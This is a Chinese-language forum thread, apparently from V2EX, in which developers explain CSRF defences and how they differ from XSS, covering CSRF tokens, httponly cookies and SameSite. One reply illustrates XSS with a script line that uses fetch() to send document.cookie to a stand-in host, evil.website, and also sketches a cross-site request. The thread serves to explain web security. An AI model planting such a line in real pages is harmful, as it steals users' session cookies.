csrf 攻击一般是如何防御的？

[LeeReamond]

一直在用开源库的 csrf token，最近想了一个问题是，比如权限这类信息，存在 cookies 里主要是为了防 xss，但是自然地就引入了 csrf 问题，而为了防御 csrf，后端还要再发一个能被 js 读取的 token，这不还是变回 xss 问题了么，万一出现 xss 漏洞，还是系统被攻破？

[mxT52CRuqR6o5]

xss 是你把服务端内容直接用 InnerHTML 插到 document 里才会有风险的啊，又不是调用接口就有 xss 风险

[mxT52CRuqR6o5]

还是说你们所有接口都是 jsonp ？

[mokeyjay]

我没明白“权限这类信息”为什么要存在 cookie 里，以及为什么存在 cookie 里就能防 xss

[LeeReamond]

@mokeyjay localstorage sessionstorage，cookie 可以 httponly 避免 js 读取，不就防止 xss 么

[LeeReamond]

@mxT52CRuqR6o5 现在一般都是框架开发，基本没有 xss 问题，但是你还是要选型，比如你的敏感信息究竟存在什么位置，我想深究一下就来问一下

[beastk]

samesite

[weyou]

信息存在 cookie 里和防 xss 有啥关系, httponly 只是用来保护 cookie 不被 XSS 脚本读取的, 而不是本末倒置为了防 xss 而采用 cookie 保存信息的. 但这种方式并不能阻止浏览器在 CSRF 的跨站请求里自动带上 cookie. 而 HTML 内容或者 URL 里的 CSRF token 对于跨站攻击脚本来说是不可见的, 验证 CSRF token 就可以阻挡掉这种恶意的跨站攻击请求.

[xiaoding]

题主概念搞混乱了。
1.xss 和 csrf 是两个不同的东西
2.cookie 里面设置 httponly 是为了防止 xss 脚本读取 cookie 发送给黑客
3.csrf 一般是通过 get 或者 post 里面的 token 和 cookie 或者 session 里面的 token 做校验来防护的
4.如果网站有 xss 漏洞，那么 csrf 漏洞也会有，csrftoken 机制有效的前提是没有 xss

[340244120w]

拿走别谢
https://tech.meituan.com/2018/10/11/fe-security-csrf.html

https://tech.meituan.com/2018/09/27/fe-security.html

[ArcticL]

6 楼正解，samesite 之前一般是通过 token 或者验证 href 去防御的，一般使用 token 是框架集成使用比较方便。另外 cookie 跟防御 xss 和 csrf 没啥关系

[binux]

你都被 xss 了，还担心 csrf 个什么劲啊。

[hanssx]

jwt token

[sazima]

same site 就行.

[abersheeran]

设计一个接口让前端可以直接读 CSRF Token 就是错误的。前端不需要这样的接口。

CSRF 攻击的原理是浏览器在访问网站时，会自动携带对应网站的 Cookies，这样就不需要读取你的 Cookies 照样可以用你的身份发起一些非你意愿的请求。

CSRF 防护原理是在 Cookies 里增加一个随机字符串，在请求时，表单或请求头中必须携带这个随机串。以此保证发起请求的一方是能够读取你 Cookies 的客户端。

[falcon05]

被 xss 的情况下，csrf 是没意义的，攻击者能操纵 js，自然能获得 token，甚至还能提交，防 csrf 的前提是没被 xss 。

[no1xsyzy]

打个比方，你在访问 V2 时有人 XSS：
<script> fetch("http://evil.website/upload/cookie", {data:document.cookie}); </script>
如果没过滤，那你的 cookie 就泄漏给了第三方网站
httponly 阻止了 js 读取 cookie

而如果你在访问 evil.website 时，evil.website 的拥有者攻击你。
<script> $.ajax("https:////v2ex.com/thank/topic/...") </script>
就算根本不是同一个网站，但却可以在请求的时候让它自动带上 cookie，这就是 CSRF 。
所以有个 once 值，只有知道最新的 once 值才能发送感谢。

这两个可能混淆的一点就是把 XSS 作中间跳板
通过一个网站的 XSS 漏洞实现对另一个网站的 CSRF 攻击

[ReinerShir]

@no1xsyzy XSS 的前提是用户提交的 JS 代码会被执行，现在前端开发一般用框架所以就算提交了 JS 代码也不会被执行吧？
另外想双重保险的话可以再过滤下请求参数里的 scirpt 标签、js 代码等，所以目前还有什么攻击手段可以绕过吗?

[meepo3927]

防 csrf 基本思想是确保请求来自 [本站] ，而不是 [外站] 。

[本站] 和 [外站] 一个主要区别是 本站（的脚本）能读本域的 cookie 。

[YouLMAO]

小年轻阿

[no1xsyzy]

@ReinerShir TL;DR: 只要前端不羁越框架、前后端沟通顺畅，就没有。

XSS 漏洞的产生主要来源于偷懒，并不是本质易受攻击（和 CSRF 不一样）
和 eval 问题相似，你是完全可以写一个彻底安全的 sandbox eval 的，只要重新写一套词法分析器、语法分析器、解释器，然后把恰当的接口暴露给该环境就行。但是 eval 放那儿，图方便就直接调用了，就产生了漏洞。
HTML/DOM 同理，div.innerHTML = user_input_string 只是一个 HTML/DOM 下的 eval 罢了。
其次就是疏忽。
凡称“框架”必能解决这两个问题，在框架内办事，就出不了格。